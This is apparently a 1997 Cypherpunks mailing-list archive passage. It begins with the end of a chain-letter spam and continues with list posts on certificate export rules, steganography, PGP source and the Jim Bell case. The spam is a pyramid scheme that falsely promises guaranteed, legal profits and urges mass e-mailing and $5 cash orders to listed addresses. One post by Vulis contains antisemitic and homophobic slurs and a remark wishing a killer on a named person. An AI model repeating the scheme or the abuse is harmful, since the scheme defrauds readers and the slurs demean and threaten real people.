program does work, but you must follow it EXACTLY!  Especially
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won't work, you'll lose out on a lot of money!  REPORT #2 
explains this. Always follow the guarantee, 15-20 orders for 
REPORT #1, and 100+ orders for REPORT #2 and you will make 
$50,000 or more in 20-90 days.  I AM LIVING PROOF THAT IT 
WORKS!!!

If you choose not to participate in this program, I am sorry.  It 
really is a great opportunity with little cost or risk to you.  If  
you choose to participate, follow the program and you will be on 
your way to financial security.  

If you are a fellow business owner and are if financial trouble like 
I was, or you want to start your own business, consider this a sign. 
I DID!
                                               Sincerely,             

                                               Christopher Erickson   


P.S. Do you have any idea what 11,700  $5 bills ($58,000) look like 
piled up on a kitchen table?  IT'S AWESOME!



A PERSONAL NOTE FROM THE ORGINATOR OF THIS
PROGRAM:
By the time you have read the enclosed program and reports, you
should have concluded that such a program, and one that is legal, 
could not have been created by an amateur.  

Let me tell you a little about myself.  I had a profitable business 
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wasn't working.  Finally, I figured it out.  It wasn't me, it was the
economy.  Inflation and recession had replaced the stable economy
that had been with us since 1945.  I don't have to tell you what 
happend to the unemployment rate... because many of you know from 
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The middle class was vanishing.  Those who knew what they were
doing invested wisely and moved up.  Those who did not, 
including those who never had anything to save or invest, were 
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"THE RICH GET RICHER AND THE POOR GET POORER."  The
traditional methods of making money will never allow you to "move
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You have just received information that can give you financial 
freedom for the rest of your life, with "NO RISK" and "JUST A
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I should also point out that I will not see a penny of this money, 
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have already made over 4 MILLION DOLLARS!  I have retired from
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Follow the program EXACTLY AS INSTRUCTED.  Do not change
it in any way.  It works exceedingly well as it is now.  Remember to 
e-mail a copy of this exciting report to everyone you can think of.  
One of the people you send this to may send out 50,000...and your 
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send out the more potential customers you will reach.  

So my friend, I have given you the ideas, information, materials and 
opportunity to become financially independent, IT IS UP TO YOU 
NOW!



"THINK ABOUT IT"
Before you delete this program from your mailbox, as I almost did, 
take a little time to read it and REALLY THINK ABOUT IT.  Get a 
pencil and figure out what could happen when YOU participate. 
Figure out the worst possible response and no matter how you 
calculate it, you will still make a lot of money!  You will 
definitely get back what you invested.  Any doubts you have will 
vanish when your first orders come in.  IT WORKS!                    
                                     Paul Johnson, Raleigh, NC



HERE'S HOW THIS AMAZING PROGRAM WILL MAKE
YOU $$$$$
Let's say that you decide to start small, just to see how it goes, 
and we'll assume you and all those involved send out only 2,000 
programs each.  Let's also assume that the mailing receives a 0.5% 
response.  Using a good list the response could be much better.
Also many people will send out hundreds of thousands of programs 
instead of 2,000.  But continuing with this example, you send out 
only 2,000 programs.  With a 0.5% response, that is only 10 orders 
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programs each for a total of 20,000.  Out of those 0.5%, 100 people 
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each for a total of 200,000.  The 0.5% response to that is 1,000 
orders for REPORT #3.  Those 1,000 send out 2,000 programs each
for a 2,000,000 total.  The 0.5% response to that is 10,000 orders 
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total income in this example is $50 + $500 + $5,000 + $50,000 for
a total of $55,550!!!

REMEMBER FRIEND, THIS IS ASSUMING 1,990 OUT OF THE 
2,000 PEOPLE YOU MAIL TO WILL DO ABSOLUTELY 
NOTHING AND TRASH THIS PROGRAM!  DARE TO THINK 
FOR A MOMENT WHAT WOULD HAPPEN IF EVERYONE, 
OR HALF SENT OUT 100,000 PROGRAMS INSTEAD OF 2,000.
Believe me, many people will do just that, and more!  By the way, 
your cost to participate in this is practically nothing.  You 
obviously already have an internet connection and e-mail is FREE!!!
REPORT #3 will show you the best methods for bulk e-mailing and 
obtaining e-mail lists. 



INSTRUCTIONS:
We at Erris Mail Order Marketing Businesses, have a method of 
raising capital that REALLY WORKS 100% EVERYTIME.  I am 
sure that you could use $50,000 to $125,000 in the next 20-90 days. 
Before you say "BULL... ", please read this program carefully.  

This is not a chain letter, but a perfectly legal money making 
opportunity.  Basically, this is what you do:  As with all 
multi-level business, we build our business by recruiting new 
partners and selling our products.  Every state in the USA allows
you to recruit new multi-level business partners, and we offer a 
product for EVERY dollar sent.  YOUR ORDERS COME AND 
ARE FILLED THROUGH THE MAIL, so you are not involved 
in personal selling.  You do it privately in your own home, store 
or office.  This is the GREATEST Multi-Level Mail Order 
Marketing anywhere: 

Step (1)  Order all four (4) REPORTS listed by NAME AND
NUMBER.  Do this by ordering the REPORT from each of the
four (4) names listed on the next page.  For each REPORT, send 
$5 CASH and a SELF-ADDRESSED STAMPED envelope 
(BUSINESS SIZE #10) to the person listed for the SPECIFIC 
REPORT.  International orders should also include $1 extra for 
postage.  It is essential that you specify the NAME and NUMBER 
of the REPORT requested to the person you are ordering it from.  
You will need ALL FOUR (4) REPORTS because you will be 
REPRINTING and RESELLING them.  DO NOT alter the names
or sequence other than what the instructions say. 

IMPORTANT: Always provide same-day service on all orders.  

Step (2)  Replace the name and address under REPORT #1 with
your's, moving the one that was there down to REPORT #2.  Drop 
the name and address under REPORT #2 TO REPORT #3,  moving 
the one that was there to REPORT #4.  The name and the address 
that was under REPORT #4 is dropped from the list and this party 
is no doubt on the  way to the bank.  When doing this, make certain
you type the names and addresses ACCURATELY!!!  DO NOT 
MIX UP MOVING PRODUCT/REPORT POSITIONS!!!

Step (3) Having made the requested changes in the NAME list, save
it as text (.txt) file in it's own directory to be used with whatever 
e-mail program you like.  Again, REPORT #3 will tell you the best 
methods of bulk e-mailing and acquiring e-mail lists.  

Step (4)  E-mail a copy of the entire program (all of this is very 
important) to everyone whose address you can get your hands on.  
Start with friends and relatives since you can encourage them to take
advantage of this fabulous money-making opportunity.  That's what I 
did.  And they love me now, more than ever.  Then, e-mail to anyone 
and everyone!  Use your imagination!  You can get e-mail addresses 
from companies on the internet who specialize in e-mail mailing 
lists.  These are very cheap, 100,000 addresses for around $35.  

IMPORTANT:  You won't get a good response if you use an old
list, so always request a FRESH, NEW list.  You will find out where
to purchase these lists when you order the four (4) REPORTS.  

ALWAYS PROVIDE SAME-DAY SERVICE ON ALL ORDERS!!!



REQUIRED REPORTS:
***Order each REPORT by NUMBER and NAME***

ALWAYS SEND A SELF-ADDRESSED, STAMPED ENVELOPE
AND $5 CASH FOR EACH ORDER REQUESTING THE 
SPECIFIC REPORT BY NAME AND NUMBER.

____________________________________________________
REPORT #1
"HOW TO MAKE $250,000 THROUGH MULTI-LEVEL SALES"

ORDER REPORT #1 FROM:
T.T.
226 Commissary Rd. Box 3453
Abilene, Tx  79607
____________________________________________________
REPORT #2
"MAJOR CORPORATIONS AND MULTI-LEVEL SALES"

ORDER REPORT #2 FROM:  

GC Internet Services
4343 Chandler
San Antonio, TX 78222-4812
____________________________________________________
REPORT #3
"SOURCES FOR THE BEST MAILING LISTS"

ORDER REPORT #3 FROM:

Somruthai Hayashi	
2168 S. Atlantic Blvd. #101
Monterey Park, CA 91754
____________________________________________________
REPORT #4
"EVALUATING MULTI-LEVEL SALES PLANS"

ORDER REPORT #4 FROM:

Kal Inc.
P.O. Box 2433
Glenview, IL. 60025-2433
_____________________________________________________


CONCLUSION:
I am enjoying my fortune that I made by sending out this program.  
You too, will be making money in 20-90 days, if you follow the
SIMPLE STEPS outlined in this mailing.

To be financially independent is to be FREE.  Free to make financial 
decisions as never before.  Go into business, get into investments, 
retire or take a vacation.  No longer will a lack of money hold you 
back.

However, very few people reach financial independence, because
when opportunity knocks, they choose to ignore it.  It is much 
easier to say "NO" than "YES", and this the question that you must 
answer.  Will YOU ignore this amazing opportunity or will you 
take advantage of it?  If you do nothing, you have indeed missed 
something and nothing will change.  Please re-read this material, 
this is a special opportunity.  If you have any questions, please 
feel free to write to the sender of this information.  You will get a 
prompt and informative reply.

My method is simple.  I sell thousands of people a product for $5 
that cost me pennies to produce and e-mail.  I should also point out 
that this program is LEGAL and everyone who participates WILL
make money.  This is not a chain letter or a pyramid scam.  At times 
you probably received chain letters, asking you to send money, on 
faith, but getting NOTHING in return, NO product what-so-ever!  
Not only are chain lettters illegal, but the risk of someone breaking 
the chain  makes them quite unattractive.

You are offering a legitimate product to your people.  After they 
purchase the product from you, they reproduce more and resell them.  
It's simple free enterprise.  As you learned from the enclosed 
material, the PRODUCT is a series of four (4) FINANCIAL AND
BUSINESS REPORTS.  The information contained in these
REPORTS will not only help you in making your participation in 
this program more rewarding, but will be useful to you in any other 
business decisions you make in the years ahead.  You are also 
buying the rights to reprint all of the REPORTS, which will be 
ordered from you by those to whom you mail this program.  The 
concise one and two page REPORTS you will be buying can easily 
be reproduced at a local copy center for a cost of about 3 cents a
copy.  Best wishes with the program and Good Luck!











From tomw at netscape.com  Sat Jul 19 16:53:09 1997
From: tomw at netscape.com (Tom Weinstein)
Date: Sun, 20 Jul 1997 07:53:09 +0800
Subject: Verisign gets export approval
In-Reply-To: 
Message-ID: <33D15229.F089636C@netscape.com>



Steve Schear wrote:
> 
> At 10:02 PM -0700 7/18/97, Tom Weinstein wrote:
>> amp at pobox.com wrote:
>>>
>>>> There's nothing preventing another CA from getting permission from
>>>> the USG to issue these magic certs.  We would have to distribute a
>>>> patch, but I don't see any problem with that.
>>>
>>> uh, why does one need permission of the usg to issue "magic certs"?
>>
>> Because issuing these certs is defined as a "defense service".
> 
> Precisely why there needs to be some hacks, from offshore CP, to
> enable anyone to issue "magic certs".  Any volunteers?

The main result of such a hack would probably be to get our export
license yanked.  Of course, you might see that as desirable, for either
its direct or indirect effects.

-- 
What is appropriate for the master is not appropriate| Tom Weinstein
for the novice.  You must understand Tao before      | tomw at netscape.com
transcending structure.  -- The Tao of Programming   |






From iang at cs.berkeley.edu  Sat Jul 19 16:53:24 1997
From: iang at cs.berkeley.edu (Ian Goldberg)
Date: Sun, 20 Jul 1997 07:53:24 +0800
Subject: Verisign gets export approval
In-Reply-To: 
Message-ID: <5qrjmb$nma@abraham.cs.berkeley.edu>



-----BEGIN PGP SIGNED MESSAGE-----

In article <33D04A75.31E08282 at netscape.com>,
Tom Weinstein  wrote:
>amp at pobox.com wrote:
>> 
>>> There's nothing preventing another CA from getting permission from
>>> the USG to issue these magic certs.  We would have to distribute a
>>> patch, but I don't see any problem with that.
>> 
>> uh, why does one need permission of the usg to issue "magic certs"?
>
>Because issuing these certs is defined as a "defense service".

It is in no way a defense service for Ian's Certificate Authority to issue
a digital certificate to Steve's Offshore Laundry, Inc. that basically
says "I think communications to the holder of this cert should use 128-bit
encryption.", even if it uses the same V3 extension that Verisign uses.

Now, if some company were to sell a browser overseas that enabled 128-bit
encryption when it saw _any_ cert with this extension (or even any such
cert from a CA in the user's trusted CAs list), I'd say it's the browser
company that's supplying the encryption, not the CA; the CA just issued
a signed statement of fact/opinion.

It would seem to me, though, that the only reason Netscape was able to
release a browser with the "128-bit-if-Verisign-magic" mode overseas
was that the USG had gotten Verisign to agree that it wouldn't issue
Verisign-magic certs to "alledged terrorists", etc.  If Verisign renegs
on the agreement, and issues the Verisign-magic certs to left-handed
albino money-laundering aliens, they'd be in violation of whatever
they signed with the USG, but certainly not in violation of the crypto
export regs (which, now that they're under Commerce, I'm not sure even have
a "defense service" category anymore).

So in answer to the original question (IMHO), you don't need the permission
of the USG to issue "magic" certs (ones with the V3 extension).  It's just
that browser companies won't be allowed to make browsers that turn on
strong encryption for _your_ "magic" certs unless the USG trusts you
not to give such certs to just anybody.

Contrasting this situation with Microsoft signing CAPI modules is left
as an exercise for the reader.

   - Ian "I believe that the bearer of this signed message should be entitled
          to use as strong crypto as he likes."

-----BEGIN PGP SIGNATURE-----
Version: 2.6.2

iQCVAwUBM9FR/kZRiTErSPb1AQG0ogP9HC1bMyak7D1PEgRHVHPYU+a5BzTpyf/W
4aYINON+eKxw0PbDM6Q6FjnP8r1dXSBPH1T8v+2RbTqQ0A4bGVEZWGlcJv5jzuRG
pJb/PuZQwNgecp2sx/sniyfHJdhE6H4omiaDa2URO00Mr9s7iotFleC5LdgGg+XV
n9EeJJDxLtY=
=mp59
-----END PGP SIGNATURE-----






From tomw at netscape.com  Sat Jul 19 17:15:03 1997
From: tomw at netscape.com (Tom Weinstein)
Date: Sun, 20 Jul 1997 08:15:03 +0800
Subject: Cypherpunk U
In-Reply-To: 
Message-ID: <33D156A0.7C1B9D56@netscape.com>



Tim May wrote:
> 
> At 2:17 PM -0700 7/19/97, Nick West wrote:
> >-----BEGIN PGP SIGNED MESSAGE-----
> >
> >What are some of the better colleges/universities to study
> >Computer/Network security at? I know MIT is a good one. Any others
> >that aren't quite so hard to get in to that still offer quality
> >programs?
> 
> Do you mean for grad school, or for undergrad work?
> 
> If the former, look for where the papers that interest you are coming
> from.  That is, whom do you want to work with? UC Berkeley is
> obviously doing interesting work, Purude has some well known folks,
> and Carnegie-Mellon is in the home city of CERT (maybe not a
> recommendation...). And Stanford is always a hotbed. At least a dozen
> other places are doing fine work.

Princeton and the University of Washington are also doing some
interesting things, if you're interested in Java security.

-- 
What is appropriate for the master is not appropriate| Tom Weinstein
for the novice.  You must understand Tao before      | tomw at netscape.com
transcending structure.  -- The Tao of Programming   |






From nobody at toad.com  Sat Jul 19 17:18:13 1997
From: nobody at toad.com (Mismatched NFS IDs)
Date: Sun, 20 Jul 1997 08:18:13 +0800
Subject: Will Monolithic Apps Dominate?
In-Reply-To: 
Message-ID: <97Jul19.201054edt.32257@brickwall.ceddec.com>



On Fri, 18 Jul 1997, Robert Hettinga wrote:

> At 1:33 pm -0400 on 7/18/97, Tim May wrote:
> 
>  now afflicts the browser market>
> 
> "The Geodesic Network, OpendDoc, and CyberDog"
> http://www.shipwright.com/rants/rant_03.html is the first rant I wrote on
>  geodesic  software. It ended up in a much(!) shorter form as
> a full-page opinion piece in InfoWorld two years ago this October.
> Actually, it's about what happened to me at MacWorld almost exactly two
> years ago.
...
> The software those computers use will not be hard-wired, it will be
> flexible and upgradable. It will be 'out of control'. It will be geodesic,
> like the network itself.
> 
> Cheers,
> Bob Hettinga

I think that depends on what people start adopting.  If you want
"geodesic" software, use Linux.  Pieces are there from every continent,
and all any business needs to do to have a driver and applications written
for any hardware is to release the spec.  It is flexible and upgradable
and 'out of control', and is developed on the internet.  Interestingly
enough, the only stego-crypto "device" I know of is the linux loop device.

There are some crypto plugins for MS, but nothing I know of will bury your
info encrypted with DES or IDEA in the lsbs of a .wav file.

The other interesting thing is that the bloatware is only possible BECAUSE
of Moore's law.  Windows really needs 16Mb, a big hard drive, and a fast
pentium, and it is nice that the price point (around $2k) of the new
machines are about right for each release of a new MS product.  But even
if cpu-memory power (and price per bit sent over the internet) keeps
doubling, the complexity of code is growing exponentially too.  Or was
growing - I think it has past the point where they can add code to the
blob and have it work.

If you are right, then there should be a shift from MS to Linux or
FreeBSD.  Especially if the Wabi32 or Wine projects succeed :).

--- reply to tzeruch - at - ceddec - dot - com ---






From enoch at zipcon.net  Sat Jul 19 17:19:05 1997
From: enoch at zipcon.net (Mike Duvos)
Date: Sun, 20 Jul 1997 08:19:05 +0800
Subject: Jim Bell on Seattle TV
Message-ID: <19970720001403.19954.qmail@zipcon.net>



KING-TV, channel 5, here in Seattle just had a blurb about James Dalton
Bell.  8 years was mentioned, as were obstruction and the use of false
social security numbers.  I didn't hear the whole thing clearly as I was
doing something else at the time.

Sentencing to follow at a later date.  

They showed a picture of a very rotund individual while the story
was rolling.  

--
     Mike Duvos         $    PGP 2.6 Public Key available     $
     enoch at zipcon.com   $    via Finger                       $
         {Free Cypherpunk Political Prisoner Jim Bell}






From dlv at bwalk.dm.com  Sat Jul 19 18:53:39 1997
From: dlv at bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Sun, 20 Jul 1997 09:53:39 +0800
Subject: PICS recipes
In-Reply-To: <199707191603.SAA15143@basement.replay.com>
Message-ID: 



nobody at REPLAY.COM (Anonymous) writes:

>
> Dimitri the KOTM has asked how to rate one's Web site as being very "nasty".

Thanks!!

> "http://vancouver-webpages.com/VWP1.0/" l r (P 4 S 7 SF 2 V 5 Tol 4 Com 3 Env
> 2 MC 2 Gam 3 Can 0 Edu 1 ))'>

I find this one the funniest.  It means, the page makes disparaging remarks
about the environment and has no Canadian content.


>           /\ /\
>          ((ovo)) RatingsMonger
>          ():::()
>            VVV


I suppose for good measure one could add


among the headers.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps






From dlv at bwalk.dm.com  Sat Jul 19 19:18:26 1997
From: dlv at bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Sun, 20 Jul 1997 10:18:26 +0800
Subject: Cypherpunk U
In-Reply-To: 
Message-ID: <40a50D6w165w@bwalk.dm.com>



Tim May  writes:
> Ask Sameer Parekh why he picked Berkeley over MIT for his undergraduate
> experience (apparently now on hiatus as he runs his company).

Because the Arab terrorist Sameer "Gas the Kikes" Parekh likes to suck
big dicks.  There are even more fags at Berkeley/San Francisco than
at MIT/Cambridge, and Sameer likes being with his fellow cocksuckers.

Where is Cunanan when the cryptographic field needs him?

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps






From dlv at bwalk.dm.com  Sat Jul 19 19:18:33 1997
From: dlv at bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Sun, 20 Jul 1997 10:18:33 +0800
Subject: Bean IRS for Another $250,000
In-Reply-To: <1.5.4.32.19970719182921.006c9cb0@pop.pipeline.com>
Message-ID: 



John Young  writes:

> Four of the IRS messages on Jim Bell came here (see below), two via
> cypherpunks at toad.com and two directly. (Oddly, none were forwarded
> from cyberpass.net as usual for messages to cypherpunks at toad.com.)

FWIW, here are the headers of the one IRS e-mail spam I got directly
(in addition to the ones via mailing lists)

]Received: by bwalk.dm.com (1.65/waf)
]	via UUCP; Fri, 18 Jul 97 19:06:35 EDT
]	for dlv
]Received: from tcs-gateway1.treas.gov by uu.psi.com (5.65b/4.0.061193-PSI/PSINet) via SMTP;
]        id AA23310 for dlv at bwalk.dm.com; Fri, 18 Jul 97 18:48:06 -0400
]Received: by tcs_gateway1.treas.gov id AA19664
]  (InterLock SMTP Gateway 3.0 for dlv at bwalk.dm.com);
]  Fri, 18 Jul 1997 18:47:53 -0400
]Received: by tcs_gateway1.treas.gov (Internal Mail Agent-2);
]  Fri, 18 Jul 1997 18:47:53 -0400
]Received: by tcs_gateway1.treas.gov (Internal Mail Agent-1);
]  Fri, 18 Jul 1997 18:47:53 -0400
]Date: Thu, 17 Jul 1997 12:30:03 -0400
]From: IRS Inspection 
]Message-Id: <199707171630.MAA02739 at net.insp.irs.gov>
]To: Interested-Parties at net.insp.irs.gov
]Subject: Something of Interest

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps






From dave at bureau42.ml.org  Sat Jul 19 20:37:24 1997
From: dave at bureau42.ml.org (David E. Smith)
Date: Sun, 20 Jul 1997 11:37:24 +0800
Subject: Bean IRS for Another $250,000
In-Reply-To: <1.5.4.32.19970719182921.006c9cb0@pop.pipeline.com>
Message-ID: 



-----BEGIN PGP SIGNED MESSAGE-----

On Sat, 19 Jul 1997, John Young wrote:

> There are four messsage IDs, one of which matches that of Alan Olsen
> (Number 2 below at 12:29).

I never posted my headers, because I didn't realize things were so, er,
far-sweeping.

Note multiple `forwards' are normal; the message was directed to an old
address "dsmith at prairienet.org", which forwards to corsica.shorelink.com
(my domain's UUCP host and gracious MX), which forwards to my home.

Header set 5:

- From irsnwpr at net.insp.irs.gov Sun Jul 20 03:27:01 1997
Return-Path: 
Received: from corsica.UUCP (dave at localhost)
	by bureau42.ml.org (8.8.6/8.8.6) with UUCP id BAA11971
	for dave; Sat, 19 Jul 1997 01:08:24 GMT
Received: from pnet1.prairienet.org ([192.17.3.31]) by corsica.shorelink.com
	 with esmtp id m0wpLsk-000yWvC
	(Debian Smail-3.2 1996-Jul-4 #2); Fri, 18 Jul 1997 15:52:14 -0700 (PDT)
Received: from tcs_gateway1.treas.gov (tcs-gateway1.treas.gov [204.151.245.2])
	by pnet1.prairienet.org (8.8.5/8.8.5) with SMTP id RAA24521
	for ; Fri, 18 Jul 1997 17:51:13 -0500 (CDT)
Received: by tcs_gateway1.treas.gov id AA19664
  (InterLock SMTP Gateway 3.0 for dsmith at prairienet.org);
  Fri, 18 Jul 1997 18:47:53 -0400
Received: by tcs_gateway1.treas.gov (Internal Mail Agent-2);
  Fri, 18 Jul 1997 18:47:53 -0400
Received: by tcs_gateway1.treas.gov (Internal Mail Agent-1);
  Fri, 18 Jul 1997 18:47:53 -0400
Date: Thu, 17 Jul 1997 12:30:03 -0400
From: IRS Inspection 
Message-Id: <199707171630.MAA02739 at net.insp.irs.gov>
To: Interested-Parties at net.insp.irs.gov
Subject: Something of Interest



-----BEGIN PGP SIGNATURE-----
Version: 2.6.2

iQEVAwUBM9GGKHEZTZHwCEpFAQF8jAf+O5fDxVqjNDGWBCVKOJdodTo6ddkMWUcn
yWgezBL1sV2UfctpWz3ApKd+lWsC877yP7vm1hwnm+B4L09/rfx90WY5DAkq+YE7
3c3XnPSkeLlVD/RCGQxvQwf/XWGyGVOVF33MV1c4lGTu/+LAjVenDXfC6Ggk3lml
x1pNMi27Je1oPazLskZLK43i5uBwKto3bdA0WVvHiNwnGk1xFyyN9tnpjoRkeiyS
hXp77C3Jlq4hB3O86eyZpvsl3JhUiCLMQwCAhLrWBSmXjsAj10hbz131Vhzj1Rdi
+uwRlAutImwVnETuwaEbLZ1GaH3s7CkXMbs1d6AXC00+UfRtZCuTcw==
=Nf3k
-----END PGP SIGNATURE-----






From nobody at www.video-collage.com  Sat Jul 19 20:39:07 1997
From: nobody at www.video-collage.com (Unprivileged user)
Date: Sun, 20 Jul 1997 11:39:07 +0800
Subject: PGP 5.0 source available (but not online yet) 2nd Edition
In-Reply-To: <199707161413.HAA14531@cypherpunks.ca>
Message-ID: <97Jul19.233439edt.32257@brickwall.ceddec.com>



For those with the source, (mine says july 9, 1997 and isbn 09649654-8-8
so it may be a variant - it also says second edition) check out page 1342
around the words "Key Recovery" near the top of the page in the pgpMakeSig
routine.  I know, it is only for future corporate key recovery ;).

Also, having 16 bytes for salt and iv fields which are supposed to be
"random" can hide a large amount of other data. 

On Wed, 16 Jul 1997, Ian Goldberg wrote:

> I received a copy of the latest source (12 volumes) from a PGP, Inc. rep
> at the July Bay Area Cypherpunks Open Meeting on US Soil (12 July on Stanford
> campus).
> 
> You can order your own copies through Printers, Inc.:
> 
>   Printers, Inc.
>   301 Castro St.
>   Mountain View, CA. 94041
>   (415) 961-8500
>   
> 
>   PGP 5.0 Platform Independent Source Code
>    Five Volumes, $94.00   ISBN 099649654-5-3
> 
>   PGP 5.0 Win95 Source Code
>    Three Volumes, $57.00  ISBN 099649654-6-1
> 
>   PGP 5.0 Mac Source Code
>    Four Volumes, $82.00   ISBN 099649654-7-X
> 
>    - Ian






From rhayden at orion.means.net  Sat Jul 19 21:19:10 1997
From: rhayden at orion.means.net (Robert Hayden-0797-EMP-HSE)
Date: Sun, 20 Jul 1997 12:19:10 +0800
Subject: NSA leak (fwd)
Message-ID: 



Say this on the Fight Censorship list.  Just FYI.

---------- Forwarded message ----------
Date: 19 Jul 1997 17:56:51 -0000
From: Secret Squirrel 
To: fight-censorship at vorlon.mit.edu
Subject: NSA leak

WASHINGTON (AP) - In a rare moment of openness bordering on glibness, a
senior official at the super-secret National Security Agency was overheard
at a White House press conference concerning current bans on the export of
encryption technology saying, "It would not take any twelve times the age of
the universe to decrypt a 128-bit message.  Thirty-three minutes is more
like it."

Observers at the press conference indicated that the senior official's
remarks were intended to be overheard by those standing nearby, who included
White House officials, reporters, and a troupe of girl scouts from Lundane,
Illinois.







 
=-=-=-=-=-=
Robert Hayden					rhayden at means.net
IP Network Administrator			(612) 230-4416
MEANS Telcom






From sar at cynicism.com  Sat Jul 19 21:59:52 1997
From: sar at cynicism.com (sar)
Date: Sun, 20 Jul 1997 12:59:52 +0800
Subject: Will Monolithic Apps Dominate?
In-Reply-To: 
Message-ID: <3.0.2.32.19970719235239.007daeb0@box.cynicism.com>



At 08:10 PM 7/19/97 -0400, you wrote:
>On Fri, 18 Jul 1997, Robert Hettinga wrote:
>
>> At 1:33 pm -0400 on 7/18/97, Tim May wrote:
>> 
>> > now afflicts the browser market>
>> 
>> "The Geodesic Network, OpendDoc, and CyberDog"
>> http://www.shipwright.com/rants/rant_03.html is the first rant I wrote on
>>  geodesic  software. It ended up in a much(!) shorter form as
>> a full-page opinion piece in InfoWorld two years ago this October.
>> Actually, it's about what happened to me at MacWorld almost exactly two
>> years ago.
>...
>> The software those computers use will not be hard-wired, it will be
>> flexible and upgradable. It will be 'out of control'. It will be geodesic,
>> like the network itself.
>> 
>> Cheers,
>> Bob Hettinga
>
>I think that depends on what people start adopting.  If you want
>"geodesic" software, use Linux.  Pieces are there from every continent,
>and all any business needs to do to have a driver and applications written
>for any hardware is to release the spec.  It is flexible and upgradable
>and 'out of control', and is developed on the internet.  Interestingly
>enough, the only stego-crypto "device" I know of is the linux loop device.
>
>There are some crypto plugins for MS, but nothing I know of will bury your
>info encrypted with DES or IDEA in the lsbs of a .wav file.


take a look at  http://members.iquest.net/~mrmil/stego.html it has
steganography programs for win95,dos,mac and amiga. as well as links to
other stego pages and a paper on " covert channels in the tcp/ip suite" 

 



>
>The other interesting thing is that the bloatware is only possible BECAUSE
>of Moore's law.  Windows really needs 16Mb, a big hard drive, and a fast
>pentium, and it is nice that the price point (around $2k) of the new
>machines are about right for each release of a new MS product.  But even
>if cpu-memory power (and price per bit sent over the internet) keeps
>doubling, the complexity of code is growing exponentially too.  Or was
>growing - I think it has past the point where they can add code to the
>blob and have it work.
>
>If you are right, then there should be a shift from MS to Linux or
>FreeBSD.  Especially if the Wabi32 or Wine projects succeed :).
>
>--- reply to tzeruch - at - ceddec - dot - com ---
>






From alan at ctrl-alt-del.com  Sat Jul 19 22:21:02 1997
From: alan at ctrl-alt-del.com (Alan)
Date: Sun, 20 Jul 1997 13:21:02 +0800
Subject: Something of Interest (fwd)
In-Reply-To: <3.0.2.32.19970719110331.00a646c0@ctrl-alt-del.com>
Message-ID: <3.0.2.32.19970719221228.03eb4630@ctrl-alt-del.com>



At 01:10 PM 7/19/97 -0700, Tim May wrote:
>At 11:03 AM -0700 7/19/97, Alan wrote:
>>At 01:51 AM 7/19/97 -0400, Declan McCullagh wrote:
>>>Hey, I'm here. Didn't get one of these IRS msgs at any of my accounts.
>>>
>>>Is it just me, or does anyone else remember a similar message being pumped
>>>out about the same time Bell was raided (April 1).
>>
>>I will check the archives...
>>
>
>No need to check. Recall that the odd name, "IRS Investigations," was our
>first word on the Bell raid.
>
>I didn't comment earlier when Declan asked, as I thought he was making a
>rhetorical point.

I found the actual article.  It was forwarded to the list by someone.
(Maybe Igor?)  The headers are interesting.  I have the full header set if
anyone is interested...

This post did not seem to get posted to the list, but only as a forward...

-------------------------------------------------------------
From: cpunks at algebra.com
Subject: Something of interest... (fwd)
To: cypherpunks at manifold.algebra.com
Date: Wed, 2 Apr 1997 21:36:29 -0600 (CST)
Reply-To: ichudov at algebra.com
X-Mailer: ELM [version 2.4 PL24 ME7]
Sender: owner-cypherpunks at algebra.com
X-Mailing-List: cypherpunks at algebra.com
X-Loop: cypherpunks at algebra.com

----- Forwarded message from IRS Inspection -----

>From cpunks at manifold.algebra.com  Wed Apr  2 20:08:29 1997
Date: Tue, 1 Apr 1997 15:34:37 -0500
From: IRS Inspection 
Message-Id: <199704012034.PAA00146 at net.insp.irs.gov>
To: Interested_Parties at net.insp.irs.gov
Subject: Something of interest...
Sender: owner-cypherpunks at toad.com
Precedence: bulk

The Oregonian, Wednesday, April 2, 1997

20 armed federal agents raid home in Vancouver

- The occupant is investigated for an Internet essay he allegedly wrote on
killing government 
officials




By John Painter Jr. of The Oregonian staff

VANCOUVER, Wash. - About 20 armed agents from at least three federal
agencies in four states raided a Vancouver home Tuesday, apparently
looking for evidence of a plot to kill government officials.

Sources said James D. Bell, who reportedly lives with his elderly
parents at the home at 7214 Corregidor Road, was the subject of an
investigation involving an essay he allegedly wrote and circulated
on the Internet.  The essay promotes a way to win money by correctly
predicting the time of death of selected government agents.

The essay - "Assassination Politics" - has been the subject of both
serious discussion and pointed derision in Internet forums.  One critic
described it as "nothing more than a plan to commit murder for political
purposes."

Agents, guns drawn, boiled from a dozen-vehicle caravan before it
stopped rolling just after 9 a.m. and entered the McLoughlin Heights
neighborhood home to search it.  The FBI, Internal Revenue Service and
Bureau of Alcohol, Tobacco, and Firearms raiders were accompanied by
members of the Portland Police Bureau's bomb squad.

Bell, described in a federal document as armed and dangerous, was seen
chatting with agents outside the house after agents entered the home.
The raid reportedly was planned by the IRS Inspection office in Walnut
Creek, Calif., which does criminal investigations for the agency.

Most of the agents at the scene drove cars bearing Oregon plates.
Others had plates from Washington, California and Nevada.

The Internet essay speculates on a complicated procedure to kill
government agents who violate the "Non-Aggression Principle," which
was not explained.

The essay suggests creation of an organization that would manage a
list of people who "had seriously violated the NAP, but who would not
see justice in our courts due to the fact that their actions were
done at the behest of the government."

The essay mentions the federal agents involved in the Waco and Ruby
Ridge actions as examples.

Each name would have a dollar figure attached to it.  That amount-
received as contributions-would be awarded "for correctly `predicting'
the person's death, presumably naming the exact date," the essay says.
"Predictions" would go into a computer file, it says, then be encrypted.

The death-date prediction then would be delivered to the organization
by an untraceable method, such as putting it on a floppy computer disk
in code and mailing it.

In effect, the source said, when the pool got big enough someone
would kill the targeted person and collect the pool money by telling
beforehand when the target would die.

Agents at the scene refused to comment on the probable cause for the
search warrant, as did the IRS office in California and the
U.S. attorney's office in Seattle.

However, a source familiar with the investigation suggested that IRS
agents believed they are among the potential targets.

In March 1989, the house was raided as a suspected methamphetamine
lab, but drug agents found only a chemical used in making the drug.

James Bell was charged with manufacturing illicit drugs and possessing
phenyl acetic acid with intent to manufacture methamphetamine.  The
felonies were later dismissed, and Bell was allowed to plead guilty
to a misdemeanor and pay a $2,500 fine.

